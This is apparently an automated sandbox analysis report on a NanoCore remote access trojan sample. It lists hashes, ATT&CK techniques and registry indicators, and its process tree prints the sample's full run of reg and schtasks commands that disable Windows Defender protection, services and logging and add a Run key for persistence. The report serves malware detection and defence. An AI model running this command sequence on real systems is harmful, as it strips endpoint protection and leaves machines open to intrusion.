nanocore | 548529c38438f4a9aea915448e183f24d4ddbe793a86090075775a154d59f067

Analysis

max time kernel
45s
max time network
49s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241211-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
17-12-2024 18:47

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General

Target

XtasyExecutor.exe
Size

202KB
MD5

20bd0480bb862bd1d073477a87aede81
SHA1

3c7c72fc3c1bec023386ac6ed14ad5cb785fe4ce
SHA256

548529c38438f4a9aea915448e183f24d4ddbe793a86090075775a154d59f067
SHA512

6b4817a7921bb62bbaf6835a3948a1811914f652f5f6ad86fe0b52376b6347d180488c3de4f02ba8ec962c45c5b4d6ad91eba11441989bbb42dab2863dfaa766
SSDEEP

6144:gLV6Bta6dtJmakIM5E/hBp4OnvF3ZO2hdi:gLV6BtpmkJBprnvF3AWi

Score

10^/10

nanocore defense_evasion discovery evasion keylogger persistence spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
Nanocore family
nanocore

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2062871678-1047416116-518495306-1000\Control Panel\International\Geo\Nation	XtasyExecutor.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\PCI Service = "C:\\Program Files (x86)\\PCI Service\\pcisvc.exe"	XtasyExecutor.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	XtasyExecutor.exe

Modifies Security services 2 TTPs 4 IoCs

Modifies the startup behavior of a security service.

defense_evasion

Modify Registry

T1112

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdBoot\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	reg.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\PCI Service\pcisvc.exe	XtasyExecutor.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 33 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XtasyExecutor.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP	reg.exe

Suspicious behavior: EnumeratesProcesses 54 IoCs

pid	Process
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe
4764	XtasyExecutor.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4764	XtasyExecutor.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4764	XtasyExecutor.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3928	SecHealthUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4764 wrote to memory of 4124	4764	XtasyExecutor.exe	81
PID 4764 wrote to memory of 4124	4764	XtasyExecutor.exe	81
PID 4764 wrote to memory of 4124	4764	XtasyExecutor.exe	81
PID 4124 wrote to memory of 1968	4124	cmd.exe	83
PID 4124 wrote to memory of 1968	4124	cmd.exe	83
PID 4124 wrote to memory of 1968	4124	cmd.exe	83
PID 4124 wrote to memory of 3824	4124	cmd.exe	84
PID 4124 wrote to memory of 3824	4124	cmd.exe	84
PID 4124 wrote to memory of 3824	4124	cmd.exe	84
PID 4124 wrote to memory of 3952	4124	cmd.exe	85
PID 4124 wrote to memory of 3952	4124	cmd.exe	85
PID 4124 wrote to memory of 3952	4124	cmd.exe	85
PID 4124 wrote to memory of 4060	4124	cmd.exe	86
PID 4124 wrote to memory of 4060	4124	cmd.exe	86
PID 4124 wrote to memory of 4060	4124	cmd.exe	86
PID 4124 wrote to memory of 4016	4124	cmd.exe	87
PID 4124 wrote to memory of 4016	4124	cmd.exe	87
PID 4124 wrote to memory of 4016	4124	cmd.exe	87
PID 4124 wrote to memory of 4212	4124	cmd.exe	88
PID 4124 wrote to memory of 4212	4124	cmd.exe	88
PID 4124 wrote to memory of 4212	4124	cmd.exe	88
PID 4124 wrote to memory of 4032	4124	cmd.exe	89
PID 4124 wrote to memory of 4032	4124	cmd.exe	89
PID 4124 wrote to memory of 4032	4124	cmd.exe	89
PID 4124 wrote to memory of 2192	4124	cmd.exe	90
PID 4124 wrote to memory of 2192	4124	cmd.exe	90
PID 4124 wrote to memory of 2192	4124	cmd.exe	90
PID 4124 wrote to memory of 5056	4124	cmd.exe	91
PID 4124 wrote to memory of 5056	4124	cmd.exe	91
PID 4124 wrote to memory of 5056	4124	cmd.exe	91
PID 4124 wrote to memory of 4956	4124	cmd.exe	92
PID 4124 wrote to memory of 4956	4124	cmd.exe	92
PID 4124 wrote to memory of 4956	4124	cmd.exe	92
PID 4124 wrote to memory of 3680	4124	cmd.exe	93
PID 4124 wrote to memory of 3680	4124	cmd.exe	93
PID 4124 wrote to memory of 3680	4124	cmd.exe	93
PID 4124 wrote to memory of 1320	4124	cmd.exe	94
PID 4124 wrote to memory of 1320	4124	cmd.exe	94
PID 4124 wrote to memory of 1320	4124	cmd.exe	94
PID 4124 wrote to memory of 4348	4124	cmd.exe	95
PID 4124 wrote to memory of 4348	4124	cmd.exe	95
PID 4124 wrote to memory of 4348	4124	cmd.exe	95
PID 4124 wrote to memory of 3892	4124	cmd.exe	96
PID 4124 wrote to memory of 3892	4124	cmd.exe	96
PID 4124 wrote to memory of 3892	4124	cmd.exe	96
PID 4124 wrote to memory of 3504	4124	cmd.exe	97
PID 4124 wrote to memory of 3504	4124	cmd.exe	97
PID 4124 wrote to memory of 3504	4124	cmd.exe	97
PID 4124 wrote to memory of 4604	4124	cmd.exe	98
PID 4124 wrote to memory of 4604	4124	cmd.exe	98
PID 4124 wrote to memory of 4604	4124	cmd.exe	98
PID 4124 wrote to memory of 3456	4124	cmd.exe	99
PID 4124 wrote to memory of 3456	4124	cmd.exe	99
PID 4124 wrote to memory of 3456	4124	cmd.exe	99
PID 4124 wrote to memory of 1112	4124	cmd.exe	100
PID 4124 wrote to memory of 1112	4124	cmd.exe	100
PID 4124 wrote to memory of 1112	4124	cmd.exe	100
PID 4124 wrote to memory of 520	4124	cmd.exe	101
PID 4124 wrote to memory of 520	4124	cmd.exe	101
PID 4124 wrote to memory of 520	4124	cmd.exe	101
PID 4124 wrote to memory of 460	4124	cmd.exe	102
PID 4124 wrote to memory of 460	4124	cmd.exe	102
PID 4124 wrote to memory of 460	4124	cmd.exe	102
PID 4124 wrote to memory of 2232	4124	cmd.exe	103

C:\Users\Admin\AppData\Local\Temp\XtasyExecutor.exe
"C:\Users\Admin\AppData\Local\Temp\XtasyExecutor.exe"
1⤵
- Checks computer location settings
- Adds Run key to start application
- Checks whether UAC is enabled
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4764
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\b14a26d2.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4124
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1968
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3824
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3952
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4060
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4016
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:4212
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:4032
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:2192
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:5056
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:4956
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3680
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1320
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4348
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3892
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3504
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4604
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3456
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1112
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:520
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:460
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2232
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5008
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3476
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:1116
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:2556
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:4804
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    - System Location Discovery: System Language Discovery
    PID:5076
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    - System Location Discovery: System Language Discovery
    PID:2512
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    - System Location Discovery: System Language Discovery
    PID:4784
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    - System Location Discovery: System Language Discovery
    PID:1316
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies security service
    - System Location Discovery: System Language Discovery
    PID:4316

C:\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe
"C:\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe" -ServerName:SecHealthUI.AppXep4x2tbtjws1v9qqs0rmb3hxykvkpqtn.mca
1⤵
- Suspicious use of SetWindowsHookEx
PID:3928

C:\Windows\System32\SecurityHealthHost.exe
C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding
1⤵
PID:2284

C:\Windows\System32\SecurityHealthHost.exe
C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding
1⤵
PID:4016

C:\Windows\System32\SecurityHealthHost.exe
C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding
1⤵
PID:5008

C:\Windows\System32\SecurityHealthHost.exe
C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding
1⤵
PID:1700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\b14a26d2.bat

Filesize
3KB

MD5
cdc46cec8ca72ad797cdb13ebc95ad2d

SHA1
ae3438cb29f03720048ff4fdf8805c8eebf86384

SHA256
74e416574a2f25e00e57f438e63deadcb69640bb7739cc7e32adf6020fc687b1

SHA512
c66b56a5416b811ecaa9a6322fbf5825d34111d1b84a7f1659681e4e875ffcfef2425ff9cc7bfa2634a07ed974477d4894c2445845ec7fd7ec7cf7da00ba0a7b

Download Submit
memory/4764-0-0x0000000075362000-0x0000000075363000-memory.dmp

Filesize
4KB

Download
memory/4764-1-0x0000000075360000-0x0000000075911000-memory.dmp

Filesize
5.7MB

Download
memory/4764-2-0x0000000075360000-0x0000000075911000-memory.dmp

Filesize
5.7MB

Download
memory/4764-4-0x0000000075360000-0x0000000075911000-memory.dmp

Filesize
5.7MB

Download
memory/4764-8-0x0000000075362000-0x0000000075363000-memory.dmp

Filesize
4KB

Download
memory/4764-9-0x0000000075360000-0x0000000075911000-memory.dmp

Filesize
5.7MB

Download
memory/4764-10-0x0000000075360000-0x0000000075911000-memory.dmp

Filesize
5.7MB

Download
memory/4764-11-0x0000000075360000-0x0000000075911000-memory.dmp

Filesize
5.7MB

Download